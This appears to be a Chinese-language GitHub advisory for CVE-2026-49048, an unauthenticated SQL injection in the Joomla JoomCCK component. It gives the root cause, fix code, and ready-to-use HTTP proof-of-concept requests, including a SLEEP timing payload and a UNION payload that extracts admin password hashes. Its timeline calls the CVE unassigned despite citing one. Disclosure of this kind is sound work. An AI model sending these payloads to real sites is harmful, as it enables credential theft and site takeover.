KARA-git/CVE-2026-49048-JoomCCK-SQLi

GitHub: KARA-git/CVE-2026-49048-JoomCCK-SQLi

该仓库记录了 Joomla JoomCCK 组件的一个 CVSS 9.8 未授权 SQL 注入漏洞的完整分析、PoC 及修复方案。

Stars: 1 | Forks: 0

# CVE-2026-49048 — JoomCCK 6.4.0 未授权 SQL 注入 (CVSS 9.8) ## 漏洞公告摘要 | 字段 | 值 | |---|---| | **公告 ID** | JOOMCCK-2026-001 | | **CVE** | [CVE-2026-49048](https://www.cve.org/CVERecord?id=CVE-2026-49048) | | **产品** | JoomCCK (`com_joomcck`) — Joomla 的 Content Construction Kit | | **供应商** | JoomCoder — https://www.joomcoder.com | | **受影响版本** | 6.4.0(发现时为最新版本;推测早期的 6.x 版本也受影响) | | **修复版本** | 撰写本文时尚无修复版本 | | **类型** | SQL 注入 (CWE-89) 绕过权限控制 (CWE-862) | | **需要认证** | **不需要 — 未授权、预认证** | | **严重程度** | **严重 — CVSS 3.1 基础评分 9.8** | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **发现者** | Kamil Soltanov | | **联系方式** | kamilsoltanov53@gmail.com | | **发现日期** | 2026-06-22 | ## 摘要 Joomla 4/5/6 组件 **JoomCCK** 暴露了一个前端 controller task (`task=tags.save`),该任务将用户提供的 `tag` 参数直接拼接到 SQL 中,而没有进行转义或参数化。该组件的自定义 MVC dispatcher **没有执行 CSRF token 检查,也没有执行访问控制检查**,使得完全 **未授权的远程攻击者** 能够触发该注入。 成功利用此漏洞可以通过基于 UNION 和基于时间盲注的 SQL 注入,获得对 Joomla 数据库的完全读取权限——包括 `#__users` 的密码哈希值,从而导致 **网站被完全接管**。 ## 根本原因 — 两个缺陷的链式利用 ### 1. 自定义 MVC Dispatcher 中缺少权限控制 (CWE-862) `libraries/mint/mvc/controller/base.php` — `MControllerBase::execute()`: ``` public function execute($task) { $this->task = $task; $task = !is_null($task) ? strtolower($task) : ''; $doTask = $this->taskMap[$task]; ... return $this->$doTask(); // Invoked with no checkToken(), no authorise() } ``` 同一类中的 `authorise()` 方法是一个 **空操作 (no-op)**,它无条件返回 `true`。 入口点 `components/com_joomcck/joomcck.php` 调用 `execute(input->get('task'))` **没有任何登录、token 或 ACL 验证** → 每个 public controller method 都是一个未授权任务。 ### 2. `tags.save` 中的 SQL 注入 (CWE-89) `components/com_joomcck/models/tags.php` — `_saveTag()`: ``` $tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes $query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE $exist_item = $this->_getList($query); // Later: $query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE ``` Joomla 的 `STRING` 输入过滤器会剥离 HTML 标签,但原封不动地保留 `"` — 这正是此处用作 SQL 字符串分隔符的字符。跳出带引号字面量即可注入任意 SQL。 ## 概念验证 ### 基于时间的盲注 (无需先验知识) ``` GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1 Host: target.example.com ``` 预期结果:响应延迟 ≥ 5 秒(每个匹配行)。 ### UNION 数据提取 ``` GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1 Host: target.example.com ``` ### 本地实验环境证据 完整的 PoC 代码和捕获的证据记录位于 [`poc/`](poc/) 中。 主要实验结果: | Payload (`tag=`) | 结果 | |---|---| | `cars` (无害) | 返回 1 行 — 正常 | | `zzz" OR "1"="1` | `"` 未转义 → 返回所有行(确认注入成功) | | `zzz" UNION SELECT id,username,password FROM jos_users-- -` | 管理员密码哈希值被提取 | | `zzz" OR SLEEP(3)-- -` | 响应延迟 **9.0 秒**(3 行 × 3 秒) | ## 影响 未经身份验证的远程攻击者可以: - **读取** Joomla 数据库中的任意数据(凭据、session token、PII) → 完全接管管理员权限 - 通过可注入的 `UPDATE` **修改** `#__js_res_tags` 中的行 - 与 `task=tags.delete` 和 `task=records.copy`(同样无需授权 — 相同的 dispatcher 缺陷)进行链式攻击 ## 次要发现 — 访问控制失效 (CWE-862, CVSS ~6.5) 相同的 dispatcher 缺陷暴露了其他未授权任务: | 任务 | 效果 | |---|---| | `tags.delete` | 未经身份验证删除任意 tag | | `records.copy` | 未经身份验证复制任意记录 | | `ajax.category_records` | 按类别枚举记录 | | `ajax.tags_list` | 列出所有 tag | | `ajax.users_filter` | 枚举用户名 | | `ajax.loadfieldparams` | 泄露字段配置 | 注意:许多 `records.*` 任务确实在内部通过 `_checkAccess()` 强制执行了 ACL,因此 **不** 受此漏洞影响。 ## 修复建议 **1. 参数化所有查询** (Joomla query builder): ``` $db = $this->getDatabase(); $tag = $app->input->getString('tag'); // SELECT $query = $db->getQuery(true) ->select('a.*') ->from($db->quoteName('#__js_res_tags', 'a')) ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag)); // UPDATE $upd = $db->getQuery(true) ->update($db->quoteName('#__js_res_tags')) ->set($db->quoteName('tag') . ' = ' . $db->quote($tag)) ->where($db->quoteName('id') . ' = ' . (int) $id); ``` **2. 在 dispatcher 中强制执行授权** — 在所有改变状态的任务之前添加 `Session::checkToken()` 和 ACL 检查 (`Factory::getApplication()->getIdentity()->authorise(...)`),仿照 `files.upload` 上已有的保护措施。 ## 披露时间线 | 日期 | 事件 | |---|---| | 2026-06-22 | 通过本地实验室 PoC 发现并验证漏洞 | | 2026-06-22 | 准备安全公告;报告给 Joomla Security Strike Team (JSST) 和 VEL | | 2026-06-23 | JSST 确认 — David Jardin,工单 #282420。供应商 (JoomCoder) 通过 JSST 进行协调 | | 2026-06-25 | 在生产环境的 Joomla 站点上确认野生利用:SLEEP(5) → 响应 115 秒;UNION 触发 MySQL 错误 1222(非破坏性,无数据泄露) | | 待定 | 供应商补丁 | | 待定 | CVE 分配 | | 待定 | 公开披露(90 天协调窗口) | ## 参考 - 供应商: https://www.joomcoder.com - Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org - Joomla JSST: security@joomla.org - CWE-89: SQL 注入 - CWE-862: 缺少权限控制 ## 关于研究员 独立安全研究员。 联系方式: kamilsoltanov53@gmail.com
标签:CISA项目, CVE, ffuf, Joomla, Web安全, 多线程, 数字签名, 渗透利用, 漏洞披露, 蓝队分析